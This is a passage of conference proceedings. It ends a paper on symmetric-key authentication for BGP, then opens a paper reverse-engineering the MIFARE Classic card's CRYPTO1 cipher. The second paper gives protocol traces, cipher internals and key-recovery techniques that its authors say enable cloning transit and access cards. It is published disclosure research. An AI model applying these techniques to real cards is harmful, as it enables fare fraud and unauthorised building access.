p(k, l) as described above. To authenticate an update message, the originating
BGP router generates the necessary authentication codes from its keys. The
fields of the update that are authenticated are: AS number of origin, as path
field and IP prefixes being advertised. Each intermediate BGP router verifies
these signatures and updates the as path field. The intermediate BGP router
adds an additional signature block on the as path field using its keys from the
p(k, l) that is instantiated at this router. Each receiving node can verify all the
signatures to ensure authentication of the source, the validity of the as path and
the integrity of the IP prefixes. Thus, in the worst case scenario, the signature
block can be as large as O(L. log N) where L is length of the path that the update
might traverse. Furthermore, based on the trust model identified in Section 2.3,
if at most one router from a given path of length h is trusted then the number
of signatures that may be added to a given message is at most O(h log N).

4 Evaluation

In this section, we evaluate the performance of our approach and compare it
with S-BGP [4] and SPV [9]. Towards this, we evaluate the protocols on, the
signature cost and verification cost In the centralized key distribution approach,
we compare the protocols from [19, 22, 23, 24] with SBGP. Similarly, in the dis-
tributed key distribution approach, we compare the protocols from [20,24] with
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Fig. 3. Experimental Results

SBGP. Next, we apply our trust model to centralized and distributed protocols
and compare the results with SPV [9] and SBGP [4].

We use the following notation to refer to the various key distribution protocols.
We refer to the centralized key distribution protocols as follows: [19] as Square
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Grid, [22] as Multiple Key Grids, [23] as Hierarchical, [24] as Star Hierarchical
We refer to the distributed key distribution protocols as follows: [20] as Star
Plain and, [24] as Star Optimal.

In our approach, for the various symmetric key distribution protocols, we
assume that a BGP router uses the HMAC (Hashed Message Authentication
Code) algorithm with 512-bit keys to generate the corresponding 160-bit message
authentication codes. For SBGP, we assume that BGP routers use the RSA
algorithm for signature generation and verification. We assume that the cost
of signature verification using RSA is around 401 micro-seconds and that of a
message authentication code is around 2 micro-seconds [9], in all our analysis.

Comparison of Centralized Key Distribution Protocols with SBGP
In Figure 3(a), we compare the signature and verification cost of the different
centralized key distribution protocols with SBGP. In SBGP, the cost of signature
generation for a BGP speaker is only one signature i.e., the route attestation that
is added by this speaker. From, Figure 3(a), we can observe that on an average,
the cost of signature generation is lower for the centralized protocols. The Star
Hierarchical protocol has the lowest signature cost amongst all the protocols.
We also show the signature cost incurred by using our trust model with the
value of h = log N , where N is the total number of BGP speakers in the system.
We chose this value specifically, since most practical networks have logarithmic
diameter and this value represents the maximum distance that an update can
traverse.

In SBGP, the cost of signature generation is low as each BGP speaker only
needs to add its own signature to the update. However, the cost of verification is
high in SBGP, since each BGP speaker will have to verify the route attestations
of all the ASes that are part of the update message. For purposes of calculation
of verification cost for SBGP, we assumed that each update traverses at the most
log N ASes and computed the cost incurred by the last BGP router in the path.

In Figure 3(b), we show the verification cost of these protocols and that of
SBGP. We note that, in terms of verification, the distributed protocols are orders
of magnitude better than SBGP. Even for the case when h = log N , in Star
Hierarchical protocol, the cost of verification is lower than SBGP. In practice,
for BGP routers, a smaller cost of verification is desirable. This is because the
BGP router needs to make a decision whether or not to accept the update
message and this can only be done after the verification process.

Comparison of Distributed Key Distribution Protocols with SBGP
Similarly, in Figures 3(c)-3(d), we compare the signature and verification cost
of the distributed key distribution protocols with SBGP. From Figure 3(c), we
observe that the signature cost of distributed protocols is much lower than that
of SBGP. Furthermore, even when h = log N , the signature cost is comparable
with that of SBGP. As in the centralized protocols, the cost of verification in
distributed protocols is orders of magnitude better than SBGP. We note that,
the size of signature block in the distributed protocols is much smaller than in
centralized protocols.
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Comparison of Signature and Verification Cost in Our Approach with
SPV and SBGP. In SPV [9], each originating node needs to generate a one-
time signature that will be verified by its downstream routers. The one-time
signature is the root of a merkle hash-tree [14]- [15] which is generated by using
the as path field and a secret key held by the sender. For comparing SPV, we
chose the number of leaves of a single one-time signature to be 80 and the total
ASes in the path to be 15 (cf. [9]). For clarity of presentation compare SPV
and SBGP with the Star Hierarchical, which is a centralized protocol, and the
Star Optimal, which is a distributed protocol, for h = infinity. This implies
that no node is trusted on the path and all nodes include their signatures for
authenticating the update messages. In Figure 3(e), we note that the cost of
signatures using the Star optimal protocol is lower than SBGP for small path
lengths. Also, both Star Optimal and Star Hierarchical are better than SPV for
signature generation. This is due to high initialization cost required in SPV. In
Figure 3(f), we note that cost of verification in both Star Hierarchical and Star
Optimal is orders of magnitude lower than SPV and SBGP. These results show
that using our approach it is possible to reduce the verification cost of updates
even when no BGP router is trusted.

5 Security Analysis

In this section, we analyze the security of both the centralized and the distributed
approaches proposed in this paper against the creation of invalid routes, which
is the main security goal that we try to address. Our analysis focuses on the cost
of adopting our protocols and the cost of breaking our protocols.

Using the centralized approach with Mittal’s key protocol [23], the number
of keys an AS needs to maintain is (log N)2, where N is the total numbers of
ASes. Given that there are about 26000 ASes on the Internet [25], deploying the
centralized approach on the Internet requires each AS to maintain approximately
225 secret keys, which can be easily stored in memory. The verification cost for
each BGP update message is O(log N). According to the centralized approach,
each update message needs to contain 225∗h signature blocks. Considering that
the current BGP message size has a limit of 4Kilobytes, we can choose h to be 3
and the size of each signature block to be 6 bytes. A signature block of 6 bytes
can be obtained by choosing the first 6 bytes of an MD5/SHA-1/HMAC hash.
Although a 6-byte signature is not as secure as a normal MD5 hash (16 bytes) or
SHA hash (20 bytes), to make an AS accept a forged signature requires forging
of at least 15 (log N) such signatures, which is computationally infeasible.

In the distributed approach, we treat each AS as a center node, and all other
ASes as satellite nodes for that particular AS. For p(k, l), if we choose k to be 40,
and l to be 4, the total number of satellite nodes that an AS can have is 91390,
which is enough as the number is ASes on the Internet is about 26000. Each AS
needs to maintain two sets of secret keys, one set consists of 40 secret keys that
the AS needs to distribute to its satellite nodes, the other set consists of secret
keys that other nodes distribute to this AS node, which is around 26000∗4 keys.



Symmetric Key Approaches to Securing BGP 95

Thus, the total number of keys an AS needs to maintain is only 104040. Using
the distributed approach, each update message needs to contain 40 ∗h signature
blocks. If we choose h to be 5, the 4Kilobyte BGP message size allows each
signature block to be 20 bytes, which is the output of an SHA-1 hash. Moreover,
as discussed in previous paragraph, only first few bytes of hash could be used
thereby increasing the value of h. Breaking the distributed approach requires the
collusion of 5 adjacent ASes or 10 ASes, which we consider practically unlikely.

6 Conclusion

We make three key contributions in this paper. First, we show that the right
trade-off between efficiency and security for BGP could be achieved by adding
the little bit of trust on BGP routers. We present a new flexible threat model
where for any path of length h, at least one BGP router is trustworthy. Second,
we present two new symmetric key approaches to securing BGP: the centralized
key distribution approach and the distributed key distribution approach. Third,
we evaluated the efficiency of the two approaches with previous approaches to
securing BGP. The evaluation results show that our approaches are significantly
more efficient than previous approaches. Our schemes are flexible and scalable
which makes their deployment feasible.
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Abstract. The mifare Classic is a contactless smart card that is used
extensively in access control for office buildings, payment systems for
public transport, and other applications. We reverse engineered the se-
curity mechanisms of this chip: the authentication protocol, the symmet-
ric cipher, and the initialization mechanism. We describe several security
vulnerabilities in these mechanisms and exploit these vulnerabilities with
two attacks; both are capable of retrieving the secret key from a genuine
reader. The most serious one recovers the secret key from just one or
two authentication attempts with a genuine reader in less than a second
on ordinary hardware and without any pre-computation. Using the same
methods, an attacker can also eavesdrop the communication between a
tag and a reader, and decrypt the whole trace, even if it involves multiple
authentications. This enables an attacker to clone a card or to restore a
real card to a previous state.

1 Introduction

Over the last few years, more and more systems adopted RFID and contactless
smart cards as replacement for bar codes, magnetic stripe cards and paper tickets
for a wide variety of applications. Contactless smart cards consist of a small piece
of memory that can be accessed wirelessly, but unlike RFID tags, they also have
some computing capabilities. Most of these cards implement some sort of simple
symmetric-key cryptography, making them suitable for applications that require
access control to the smart card’s memory.

A number of large-scale applications make use of contactless smart cards. For
example, they are used for payment in several public transport systems like the
Oyster card1 in London and the OV-Chipkaart2 in The Netherlands, among oth-
ers. Many countries have already incorporated a contactless smart card in their
electronic passports [HHJ+06]. Many office buildings and even secured facilities
like airports and military bases use contactless smart cards for access control.

There is a huge variety of cards on the market. They differ in size, casing, mem-
ory, and computing power. They also differ in the security features they provide.
1 http://oyster.tfl.gov.uk
2 http://www.ov-chipkaart.nl

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 97–114, 2008.
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A well known and widely used system is mifare. This is a product family from
NXP Semiconductors (formerly Philips Semiconductors), currently consisting of
four different types of cards: Ultralight, Classic, DESFire and SmartMX. Ac-
cording to NXP, more than 1 billion mifare cards have been sold and there are
about 200 million mifare Classic tags in use around the world, covering about
85% of the contactless smart card market. Throughout this paper we focus on
this tag. mifare Classic tags provide mutual authentication and data secrecy
by means of the so called CRYPTO1 cipher. This is a stream cipher using a 48
bit secret key. It is proprietary of NXP and its design is kept secret.

Our Contribution. This paper describes the reverse engineering of the mifare

Classic chip. We do so by recording and studying traces from communication
between tags and readers. We recover the encryption algorithm and the authen-
tication protocol. It also unveils several vulnerabilities in the design and imple-
mentation of the mifare Classic chip. This results in two attacks that recover a
secret key from a mifare reader.

The first attack uses a vulnerability in the way the cipher is initialized to split
the 48 bit search space in a k bit online search space and 48−k bit offline search
space. To mount this attack, the attacker needs to gather a modest amount of
data from a genuine reader. Once this data has been gathered, recovering the
secret key is as efficient as a lookup operation on a table. Therefore, it is much
more efficient than an exhaustive search over the whole 48 bit key space.

The second and more efficient attack uses a cryptographic weakness of the
CRYPTO1 cipher allowing us to recover the internal state of the cipher given a
small part of the keystream. To mount this attack, one only needs one or two
partial authentication from a reader to recover the secret key within one second,
on ordinary hardware. This attack does not require any pre-computation and
only needs about 8 MB of memory to be executed.

When an attacker eavesdrops communication between a tag and a reader, the
same methods enable us to recover all keys used in the trace and decrypt it. This
gives us sufficient information to read a card, clone a card, or restore a card to a
previous state. We have successfully executed these attacks against real systems,
including the London Oyster Card and the Dutch OV-Chipkaart.

Related Work. De Koning Gans, Hoepman and Garcia [KHG08] proposed an
attack that exploits the malleability of the CRYPTO1 cipher to read partial
information from a mifare Classic tag. Our paper differs from [KHG08] since
the attacks proposed here focus on the reader.

Nohl and Plötz have partly reverse engineered the mifare Classic tag earlier
[NP07], although not all details of their findings have been made public. Their
research takes a very different, hardware oriented, approach. They recovered the
algorithm, partially, by slicing the chip and taking pictures with a microscope.
They then analyzed these pictures, looking for specific gates and connections.

Their presentation has been of great stimulus in our discovery process. Our
approach, however, is radically different as our reverse engineering is based on
the study of the communication behavior of tags and readers. Furthermore,
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the recovery of the authentication protocol, the cryptanalysis, and the attacks
presented here are totally novel.

Overview. In Section 2 we briefly describe the hardware used to analyze the
mifare Classic. Section 3 summarizes the logical structure of the mifare Classic.
Section 4 then describes the way a tag and a reader authenticate each other. It also
details how we reverse engineered this authentication protocol and points out a
weakness in this protocol enabling an attacker to discover 64 bits of the keystream.
Section 5 describes how we recovered the CRYPTO1 cipher by interacting with
genuine readers and tags. Section 6 then describes four concrete weaknesses in the
authentication protocol and the cipher and how they can be exploited. Section 7
describes how this leads to concrete attacks against a reader. Section 8 shows that
these attacks are also applicable if the reader authenticates for more than a single
block of memory. Section 9 describes consequences and conclusions.

2 Hardware Setup

For this experiment we designed and built a custom device for tag emulation
and eavesdropping. This device, called Ghost, is able to communicate with a
contactless smart card reader, emulating a tag, and eavesdrop communication
between a genuine tag and reader. The Ghost is completely programmable and
is able to send arbitrary messages. We can also set the uid of the Ghost which is
not possible with manufacturer tags. The hardware cost of the Ghost is approxi-
mately e40. We also used a ProxMark3, a generic device for communication with
RFID tags and readers, and programmed it to handle the ISO14443-A standard.
As it provides similar functionality to the Ghost, we do not make a distinction
between these devices in the remainder of the paper.

On the reader side we used an OpenPCD reader4 and an Omnikey reader5.
These readers contain a mifare chip implementing the CRYPTO1 cipher and
are fully programmable.

Notation. In mifare, there is a difference between the way bytes are repre-
sented in most tools and the way they are being sent over the air. The former,
consistent with the ISO14443 standard, writes the most significant bit of the
byte on the left, while the latter writes the least significant bit on the left. This
means that most tools represent the value 0x0a0b0c as 0x50d030 while it is sent
as 0x0a0b0c on the air. Throughout this paper we adopt the latter convention
(with the most significant bit left, since that has nicer mathematical proper-
ties) everywhere except when we show traces so that the command codes are
consistent with the ISO standard.

Finally, we number bits (in keys, nonces, and cipher states) from left to right,
starting with 0. For data that is transmitted, this means that lower numbered
bits are transmitted before higher numbered bits.
3 http://cq.cx/proxmark3.pl,http://www.proxmark.org
4 http://www.openpcd.org
5 http://omnikey.aaitg.com

http://cq.cx/proxmark3.pl, http://www.proxmark.org
http://www.openpcd.org
http://omnikey.aaitg.com


100 F.D. Garcia et al.

3 Logical Structure of the MIFARE Classic Tags

The mifare Classic tag is essentially an eeprom memory chip with secure com-
munication provisions. Basic operations like read, write, increment and decre-
ment can be performed on this memory. The memory of the tag is divided into

Fig. 1. Logical structure

sectors. Each sector is further divided into
blocks of 16 bytes each. The last block of each
sector is called the sector trailer and stores
two secret keys and access conditions corre-
sponding to that sector.

To perform an operation on a specific
block, the reader must first authenticate for
the sector containing that block. The access
conditions of that sector determine whether
key A or B must be used. Figure 1 shows a
schematic of the logical structure of the mem-
ory of a mifare Classic tag.

4 Authentication Protocol

When the tag enters the electromagnetic field of the reader and powers up, it
immediately starts the anti-collision protocol by sending its uid. The reader then
selects this tag as specified in ISO14443-A [ISO01].

According to the manufacturer’s documentation, the reader then sends an
authentication request for a specific block. Next, the tag picks a challenge nonce
nT and sends it to the reader in the clear. Then the reader sends its own challenge
nonce nR together with the answer aR to the challenge of the tag. The tag finishes
authentication by replying aT to the challenge of the reader. Starting with nR,
all communication is encrypted. This means that nR, aR, and aT are XOR-ed
with the keystream ks1, ks2, ks3. Figure 2 shows an example.

Step Sender Hex Abstract

01 Reader 26 req type A
02 Tag 04 00 answer req
03 Reader 93 20 select
04 Tag c2 a8 2d f4 b3 uid,bcc
05 Reader 93 70 c2 a8 2d f4 b3 ba a3 select(uid)
06 Tag 08 b6 dd mifare 1k
07 Reader 60 30 76 4a auth(block 30)
08 Tag 42 97 c0 a4 nT

09 Reader 7d db 9b 83 67 eb 5d 83 nR ⊕ ks1, aR ⊕ ks2
10 Tag 8b d4 10 08 aT ⊕ ks3

Fig. 2. Authentication Trace
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We started experimenting with the Ghost and an OpenPCD reader which we
control. The pseudo-random generator in the tag is fully deterministic. Therefore
the nonce it generates only depends on the time between power up and the start
of communication [NP07]. Since we control the reader, we control this timing and
therefore can get the same tag nonce every time. With the Ghost operating as a
tag, we can choose custom challenge nonces and uids. Furthermore, by fixing nT

(and uid) and repeatedly authenticating, we found out that the reader produces
the same sequence of nonces every time it is restarted. Unlike in the tag, the
state of the pseudo-random generator in the reader does not update every clock
tick but with every invocation.

The pseudo-random generator in the tag used to generate nT is a 16 bit LFSR
with generating polynomial x16+x14+x13+x11+1. Since nonces are 32 bits long
and the LFSR has a 16 bit state, the first half of nT determines the second half.
This means that given a 32 bit value, we can tell if it is a proper tag nonce, i.e.,
if it could be generated by this LFSR. To be precise, a 32 bit value n0n1 . . . n31

is a proper tag nonce if and only if nk ⊕ nk+2 ⊕ nk+3 ⊕ nk+5 ⊕ nk+16 = 0 for all
k ∈ {0, 1, . . . , 15}. Remark that the Ghost can send arbitrary values as nonces
and is not restricted to sending proper tag nonces.

Experimenting with authentication sessions with various uids and tag nonces,
we noticed that if nT ⊕ uid remains constant, then the ciphertext of the en-
crypted reader nonce also remains constant. The answers aT and aR, however,
have different ciphertexts in the two sessions. For example, in Figure 2 the
uid is 0xc2a82df4 and nT is 0x4297c0a4, therefore nT ⊕ uid is 0x803fed50.
If we instead take uid to be 0x1dfbe033 and nT to be 0x9dc40d63, then nt ⊕
uid still equals 0x803fed50. In both cases, the encrypted reader nonce nR ⊕
ks1 is 0x7ddb9b83. However, in Figure 2, aR ⊕ ks2 is 0x67eb5d83 and aT ⊕
ks3 is 0x8bd41008, while with the modified uid and nT they are, respectively,
0x4295c446 and 0xeb3ef7da.

This suggests that the keystream in both runs is the same and it also suggests
that aT and aR depend on nT . By XOR-ing both answers aR⊕ ks2 and a′

R⊕ ks2
together we get aR⊕a′

R. We noticed that aR⊕a′
R is a proper tag nonce. Because

the set of proper tag nonces is a linear subspace of F
32
2 , where F2 is the field of

two elements, the XOR of proper tag nonces is also a proper tag nonce. This
suggests that aR and a′

R are also proper tag nonces.
Given a 32 bit nonce nT generated by the LFSR, one can compute the suc-

cessor suc(nT ) consisting of the next 32 generated bits. At this stage we could
verify that aR ⊕ a′

R = suc2(nT ⊕n′
T ) = suc2(nT )⊕ suc2(n′

T ) which suggests that
aR = suc2(nT ) and a′

R = suc2(n′
T ). Similarly for the answer from the tag we

could verify that aT = suc3(nT ) and a′
T = suc3(n′

T ).
Summarizing, the authentication protocol can be described as follows; see

Figure 3. After the nonce nT is sent by the tag, both tag and reader initialize the
cipher with the shared key K, the uid, and the nonce nT . The reader then picks its
challenge nonce nR and sends it encrypted with the first part of the keystream
ks1. Then it updates the cipher state with nR. The reader authenticates by
sending suc2(nT ) encrypted, i.e., suc2(nT ) ⊕ ks2. At this point the tag is able
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Tag Reader
0 anti-c(uid)

−−−−−−−−−−−−−−−−−−−−→
1 auth(block)

←−−−−−−−−−−−−−−−−−−−−
2 picks nT

3 nT−−−−−−−−−−−−−−−−−−−−→
4 ks1 ← cipher(K, uid, nT ) ks1 ← cipher(K, uid, nT )
5 picks nR

6 ks2, . . . ← cipher(nR)
7 nR ⊕ ks1, suc2(nT ) ⊕ ks2←−−−−−−−−−−−−−−−−−−−−
8 ks2, . . . ← cipher(nR)
9 suc3(nT ) ⊕ ks3−−−−−−−−−−−−−−−−−−−−→

Fig. 3. Authentication Protocol

to update the cipher state in the same way and verify the authenticity of the
reader. The remainder of the keystream ks3, ks4 . . . is now determined and from
now on all communication is encrypted, i.e., XOR-ed with the keystream. The
tag finishes the authentication protocol by sending suc3(nT ) ⊕ ks3. Now the
reader is able to verify the authenticity of the tag.

4.1 Known Plaintext

From the description of the authentication protocol it is easy to see that parts
of the keystream can be recovered. Having seen nT and suc2(nT ) ⊕ ks2, one can
recover ks2 (i.e., 32 bits of keystream) by computing suc2(nT ) and XOR-ing.

Moreover, experiments show that if in step 9 of the authentication protocol
the tag does not send anything, then most readers will time out and send a
halt command. Since communication is encrypted it actually sends halt ⊕ ks3.
Knowing the byte code of the halt command (0x500057cd [ISO01]) we recover
ks3.

Some readers do not send a halt command but instead continue as if au-
thentication succeeded. This typically means that it sends an encrypted read
command. As the byte code of the read command is also known [KHG08], this
also enables us to recover ks3 by guessing the block number.

It is important to note that one can obtain such an authentication session (or
rather, a partial authentication session, as the Ghost never authenticates itself)
from a reader (and hence ks2, ks3) without knowing the secret key and, in fact,
without using a tag.

If an attacker does have access to both a tag and a reader and can eavesdrop
a successful (complete) authentication session, then both ks2 and ks3 can be
recovered from the answers suc2(nT )⊕ ks2 and suc3(nT )⊕ ks3 of the tag and the
reader. This works even if the reader does not send halt or read after timeout.

5 CRYPTO1 Cipher

The core of the CRYPTO1 cipher is a 48-bit linear feedback shift register (LFSR)
with generating polynomial g(x) = x48 + x43 + x39 + x38 + x36 + x34 + x33 +



was given in [NESP08]; note it can also be deduced from the relation between
uid and the secret key described in [NP07]. At every clock tick the register is
shifted one bit to the left. The leftmost bit is discarded and the feedback bit
is computed according to g(x). Additionally, the LFSR has an input bit that is
XOR-ed with the feedback bit and then fed into the LFSR on the right. To be
precise, if the state of the LFSR at time k is rkrk+1 . . . rk+47 and the input bit
is i, then its state at time k + 1 is rk+1rk+2 . . . rk+48, where

rk+48 = rk ⊕ rk+5 ⊕ rk+9 ⊕ rk+10 ⊕ rk+12 ⊕ rk+14 ⊕ rk+15 ⊕ rk+17 ⊕ rk+19 ⊕
rk+24 ⊕ rk+27 ⊕ rk+29 ⊕ rk+35 ⊕ rk+39 ⊕ rk+41 ⊕ rk+42 ⊕ rk+43 ⊕ i. (1)

The input bit i is only used during initialization.
To encrypt, selected bits of the LFSR are put through a filter function f .
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feedback bits, it is possible to modify nT ⊕uid and the secret key K in such a way
that the ciphertext after authentication also remains constant. Concretely, we
verified that if nT⊕uid⊕K⊕‘feedback bits’ remains constant, then the keystream
generated after authentication is constant as well. Here the ‘feedback bits’ are
computed according to g(x). This suggests that the secret key K is the initial
state of the LFSR. This also suggests that the keystream feedback loop from
the output back to the LFSR present in the Hitag2 cipher is not present on
CRYPTO1, which greatly simplified the analysis.

Proceeding to the next step in the authentication protocol, the reader nonce
nR is fed into the LFSR as well. Note that earlier bits of nR already affect the
encryption of the later bits of nR. At this point, the initialization is complete
and the input bit of the LFSR is no longer used. Figure 5 shows the initialization
diagram for both reader and tag. The only difference is that the reader generates
nR and then computes and sends nR ⊕ ks1, while the tag receives nR ⊕ ks1 and
then computes nR.

Note that we can, by selecting an appropriate key K, uid, and tag nonce nT ,
totally control the state of the LFSR just before feeding in the reader nonce. In
practice, if we want to observe the behavior of the LFSR starting in state α, we
often set the key to 0, let the Ghost select a uid of 0 and compute which nT we
should let the Ghost send to reach the state α. Now, because nT is only 32 bits
long and α is 48 bits long, this does not seem to allow us to control the leftmost
16 bits of α: they will always be 0. In practice, however, many readers accept
and process tag nonces of arbitrary length. So by sending an appropriate 48 bit
tag nonce nT , we can fully control the state of the LFSR just before the reader
nonce. This will be very useful in the next section, where we describe how we
recovered the filter function f .

5.2 Filter function

The first time the filter function f is used, is when the first bit of the reader
nonce, nR,0, is transmitted. At this point, we fully control the state α of the
LFSR by setting the uid, the key, and the tag nonce. As before, we use the
Ghost to send a uid of 0, use the key 0 on the reader, and use 48 bit tag nonces
to set the LFSR state. So, for values α of our choice, we can observe nR,0⊕f(α),
since that is what is being sent by the reader. Since we power up the reader
every time, the generated reader nonce is the same every time. Therefore, even
though we do not know nR,0, it is a constant.

The first task is now to determine which bits of the LFSR are inputs to the
filter function f . For this, we pick a random state α and observe nR,0⊕f(α). We
then vary a single bit in α, say the ith, giving state α′, and observe nR,0⊕f(α′).
If f(α) �= f(α′), then the ith bit must be input to f . If f(α) = f(α′), then we
can draw no conclusion about the ith bit, but if this happens for many choices
of α, it is likely that the ith bit is not an input to f .

Figure 6 shows an example. The key in the reader (for block 0) is set to 0
and the Ghost sends a uid of 0. On the left hand side, the Ghost sends the
tag nonce 0x6dc413abd0f3 and on the right hand side it sends the tag nonce
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Sender Hex Hex

Reader 26 26 req type A
Ghost 04 00 04 00 answer req
Reader 93 20 93 20 select
Ghost 00 00 00 00 00 00 00 00 00 00 uid,bcc
Reader 93 70 00 00 00 00 00 9c d9 93 70 00 00 00 00 00 9c d9 select(uid)
Ghost 08 b6 dd 08 b6 dd mifare 1k
Reader 60 00 f5 7b 60 00 F5 7B auth(block 0)
Ghost 6d c4 13 ab d0 f3 6d c4 13 ab d0 73 nT

Reader df 19 d5 7a e5 81 ce cb 5e ef 51 1e 5e fb a6 21 nR ⊕ ks1, suc2(nT ) ⊕ ks2

Fig. 6. Nearly equal LFSR states

0x6dc413abd073. This leads, respectively, to LFSR states of 0xb05d53bfdb10
and 0xb05d53bfdb11. These differ only in the rightmost bit, i.e., bit 47. On the
left hand side, the first bit of the encrypted reader nonce is 1 and on the right
hand side it is 0 (recall the byte-swapping convention used in traces). Hence, bit
47 must be an input to the filter function f .

This way, we were able to see that the bits 9, 11, . . . , 45, 47 are input to the
filter function f . Based on the similarity with the Hitag2, we guessed that there
are 5 “first layer circuits” each taking four inputs, respectively, 9, 11, 13, 15 for the
left-most circuit up to 41, 43, 45, 47 for the right-most circuit. The five results
from these circuit are then, we guessed, input into a “second layer circuit”,
producing a keystream bit. (See Figure 8 for the structure of CRYPTO1). Note
that in the Hitag2, all these circuits are “balanced”, in the sense that for half
the possible (16 or 32) inputs they give a 0 and for half the possible inputs they
give a 1.

To verify our guess and to determine f , we again take a random state α of
the LFSR. We then vary 4 (guessed) inputs to a first layer circuit in all 16 ways
possible, giving states α0, α1, . . . α15 and observe r0 ⊕ f(α0), . . . , r0 ⊕ f(α15). If
our guess was correct, we expect these to be 16 zeros, 16 ones, or 8 zeros and 8
ones: either the 16 non-varying inputs are such that the 4 varying inputs do not
influence the keystream bit (in which case we get all zeros or all ones), or we get
a “balanced” result as in the Hitag2. In the first two cases, we try again; in the
latter case, we have found the component (up to a NOT, but that is irrelevant).
Figure 7 shows examples of LFSRs that vary the inputs to a first layer circuit.

It turned out that our guess was correct; there are two different circuits used
in the first layer. Two circuits in the first layer compute fa(x3, x2, x1, x0) repre-
sented by the boolean table 0x26c7 and the other three compute fb(x3, x2, x1, x0)

LFSR \ XX 55 54 51 50 45 44 41 40 15 14 11 10 05 04 01 00
0xb05d53bfdbXX 0 0 0 0 1 1 0 1 1 1 0 1 0 0 1 1
0xfbb57bbc7fXX 1 1 1 1 0 0 1 0 0 0 1 0 1 1 0 0
0xe2fd86e299XX 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

Fig. 7. First bit of encrypted reader nonce



represented by the boolean table 0x0dd3. I.e., from left to right the bits of
0x26c7 are the values of fa(1, 1, 1, 1), fa(1, 1, 1, 0), . . . , fa(0, 0, 0, 0) and similarly
for fb (and fc below). These five output bits are input into the circuit in the
second layer. By trying 32 states that produce all 32 possible outputs for the
first layer, we build a table for the circuits in the second layer. It computes
fc(x4, x3, x2, x1, x0) represented by the boolean table 0x4457c3b3. In this way
we recovered the filter function f . See Figure 8.

6 MIFARE Weaknesses and Exploits

This section describes four design flaws of the mifare Classic. These flaws allow
us to recover the secret key from a genuine mifare reader in two different ways.
In one way, the core of which is described in Section 6.1, we first have to gather
a modest amount of data from the reader. Together with a precomputed table
this can be used to invert the filter function f and then, with an LFSR rollback
technique described in Section 6.2, we can recover the secret key. In the other
way, described in Section 6.3, we can directly invert the filter function f in
under one second on ordinary hardware without the need for any precomputed
tables. The same LFSR rollback technique then also recovers the secret key. In
Section 6.4 we finish with a weakness in the way that parity bits are treated.

6.1 LFSR State Recovery

The tag nonce directly manipulates the internal state of the LFSR. This enables
us to recover the state of the LFSR, given a segment of keystream.

First, we build a table consisting of tuples (lfsr, ks) where lfsr runs over all
LFSR states of the form 0x000WWWWWWWWW and ks are the first 64 bits of keystream
they generate. This one time computation can be performed on a ordinary com-
puter and can be reused for any reader/key. This produces a table of 236 rows.

Now we focus on a specific reader that we want to attack. For each 12 bit
number 0xXXX, we start an authentication session using the same uid. We set the
challenge nonce of the tag to nT = 0x0000XXX0. After the reader answers with
nR⊕ks1, suc2(nT )⊕ks2 we do not reply. Then most readers send halt⊕ks3. Since
we know suc2(nT ) and halt we can recover ks2, ks3. There is exactly one value for
0xXXX that produces an LFSR state of the form 0xYYYYYYYY000Y after feeding in
nT = 0x0000XXX0. While feeding in the reader nonce nR, the zeros in the LFSR
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are shifted to the left, producing an LFSR state of the form 0x000YZZZZZZZZ.
Since we have all LFSR states of this form in our table, we can recover it by
searching for ks2, ks3.

Typically, only for a single value of 0xXXX do we get a hit in our table, because
the size of the keystream is 64 bits and the size of the LFSR is only 48 bits. In
Section 6.2 we show how we can use the LFSR state that we find in the table,
together with nT and nR ⊕ ks1, to obtain the secret key.

In the above description it is possible to trade off between the size of the
lookup table and the number of authentication sessions needed. In the above
setup, the size of the table is approximately one terabyte and the number of
required authentication sessions is 4096. For instance, by varying 13 instead of
12 bits of the tag nonce we halve the size of the table at the cost of doubling the
number of required sessions.

Note that even if the reader does not respond in case of time out, we can still
use this technique to recover the LFSR state. In that case, for each 0xXXX, we
search only for the corresponding ks2 in the table. Since there are 248−12 entries
in the table, and ks2 is 32 bits long, we get on average 24 matches. Since we are
considering 212 possible values of 0xXXX, we get a total of approximately 216

possible LFSR states. Each of these LFSR states gives us, using Section 6.2, a
candidate key. With a single other partial authentication session, i.e., one up to
and including the answer from the reader, we can then check which of those keys
is the correct one.

6.2 LFSR Rollback

Given the state rkrk+1 . . . rk+47 of the LFSR at a certain time k (and the in-
put bit, if any), one can use the relation (1) to compute the previous state
rk−1rk . . . rk+46.

Now suppose that we somehow learned the state of the LFSR right after the
reader nonce has been fed in, for instance using the approach from the previous
section, and that we have eavesdropped the encrypted reader nonce. Because we
do not know the plaintext reader nonce, we cannot immediately roll back the
LFSR to the state before feeding in the reader nonce. However, the input to the
filter function f does not include the leftmost bit of the LFSR. This weakness
does enable us to recover this state (and the plaintext reader nonce) anyway.

To do so we shift the LFSR to the right; the rightmost bit falls out and we
set the leftmost bit to an arbitrary value r. Then we compute the function f
and we get one bit of keystream that was used to encrypt the last bit nR,31 of
the reader nonce. Note that the leftmost bit of the LFSR is not an input to
the function f , and therefore our choice of r is irrelevant. Using the encrypted
reader nonce we recover nR,31. Computing the feedback of the LFSR we can now
set the bit r to the correct value, i.e., so that the LFSR is in the state prior to
feeding nR,31. Repeating this procedure 31 times more, we recover the state of
the LFSR before the reader nonce was fed in.

Since the tag nonce and uid are sent as plaintext, we also recover the LFSR state
before feeding in nT ⊕ uid (step 4). Note that this LFSR state is the secret key!
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6.3 Odd Inputs to the Filter Function

The inputs to the filter function f are only on odd-numbered places. The fact
that they are so evenly placed can be exploited. Given a part of keystream,
we can generate those relevant bits of the LFSR state that give the even bits
of the keystream and those relevant bits of the LFSR state that give the odd
bits of the keystream separately. By splitting the feedback in two parts as well,
we can combine those even and odd parts efficiently and recover exactly those
states of the LFSR that produce a given keystream. This may be understood as
“inverting” the filter function f .

Let b0b1 . . . bn−1 be n consecutive bits of keystream. For simplicity of the
presentation we assume that n is even; in practice n is either 32 or 64. Our goal
is to recover all states of the LFSR that produce this keystream. To be precise,
we will search for all sequences r̄ = r0r1 . . . r46+n of bits such that

rk ⊕ rk+5 ⊕ rk+9 ⊕ rk+10 ⊕ rk+12 ⊕ rk+14 ⊕ rk+15 ⊕ rk+17

⊕ rk+19 ⊕ rk+24 ⊕ rk+25 ⊕ rk+27 ⊕ rk+29 ⊕ rk+35 ⊕ rk+39 ⊕ rk+41

⊕ rk+42 ⊕ rk+43 ⊕ rk+48 = 0, for all k ∈ {0, . . . , n− 2}, (2)

and such that

f(rk . . . rk+47) = bk, for all k ∈ {0, . . . , n− 1}. (3)

Condition (2) says that r̄ is generated by the LFSR, i.e., that r0r1 . . . r47, r1r2 . . .
